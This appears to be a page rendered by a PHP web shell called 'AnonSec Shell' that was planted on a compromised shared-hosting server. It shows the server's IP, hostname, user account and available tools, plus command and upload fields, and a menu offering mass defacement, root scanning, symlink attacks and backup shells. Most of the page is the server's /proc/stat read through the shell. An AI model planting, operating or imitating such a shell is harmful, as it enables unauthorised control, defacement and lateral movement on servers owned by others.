AnonSec Shell
Server IP : 162.0.209.157  /  Your IP : 18.117.72.244   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux premium178.web-hosting.com 4.18.0-513.24.1.lve.2.el8.x86_64 #1 SMP Fri May 24 12:42:50 UTC 2024 x86_64
User : balaoqob ( 2395)
PHP Version : 8.0.30
Disable Function : NONE
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : //proc/stat
cpu  16291151028 244560160 4667944231 10760460919 1062434706 347266710 388554009 858763563 0 0
cpu0 672573318 10310807 193360733 454152727 45650825 13619798 16619256 37355794 0 0
cpu1 681536764 10163784 194114863 448109022 44487388 13365841 15347786 36092319 0 0
cpu2 681983133 10253778 194204052 447926939 44543905 13346884 14853709 35985015 0 0
cpu3 683064919 10196411 194167144 447278355 44554900 13347181 14503026 35738784 0 0
cpu4 685278413 10175343 193702467 447518810 44680932 13334362 12422963 35699573 0 0
cpu5 684756984 10247346 194050492 447339411 44616975 13532870 12588281 35263059 0 0
cpu6 685411196 10192619 193874706 447396943 44696260 13326008 12233823 35494287 0 0
cpu7 681461250 10267003 194457653 448099495 44406545 13481098 14847025 35430854 0 0
cpu8 684183473 10245182 194276217 447333372 44551266 13373442 13077227 35447063 0 0
cpu9 684004297 10236941 194150887 447643307 44593182 13347463 13125183 35438465 0 0
cpu10 684504290 10246746 194217045 447178053 44477468 13512703 13021179 35330359 0 0
cpu11 663793001 10103877 200577086 446344863 43353745 16179791 27002286 34174133 0 0
cpu12 683959688 10246070 193941962 448080743 44574450 13329718 12986356 35350954 0 0
cpu13 684049692 10227083 194024750 447957582 44557676 13322058 12967863 35421001 0 0
cpu14 684194383 10145629 194056266 447959325 44511588 13295460 12967306 35336399 0 0
cpu15 683843474 10187743 194119408 448122524 44518760 13370368 12975330 35338965 0 0
cpu16 684003511 10181311 193932435 448163498 44550765 13339701 12947339 35382252 0 0
cpu17 684023376 10263698 193914786 448056945 44587914 13302541 12958042 35374228 0 0
cpu18 684124739 10228159 193902869 448138271 44521159 13281640 12942296 35296517 0 0
cpu19 683969348 10207037 193872558 448375183 44499330 13285155 12928870 35289662 0 0
cpu20 685281100 10182178 193617076 448299826 44529532 13262105 11994865 35189453 0 0
cpu21 607218769 9636577 204538582 459810233 40298020 15362618 69482132 36963384 0 0
cpu22 685062930 10253450 193641799 448438235 44532313 13240772 11997163 35281872 0 0
cpu23 668868966 10161375 189228382 442737246 42139796 35107122 11764693 41089156 0 0
intr 81411382492 249 9 0 0 505 0 0 0 0 0 0 0 42 0 13979110 0 0 0 0 0 0 0 0 0 0 0 0 437218521 0 1399240745 2491195025 0 756851894 778780882 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
ctxt 367790216570
btime 1721602253
processes 948335034
procs_running 34
procs_blocked 0
softirq 143746510938 1 4282383584 12617 863940753 359760773 0 1174859167 2394829019 4637322 1522101526

Anon7 - 2022
AnonSec Team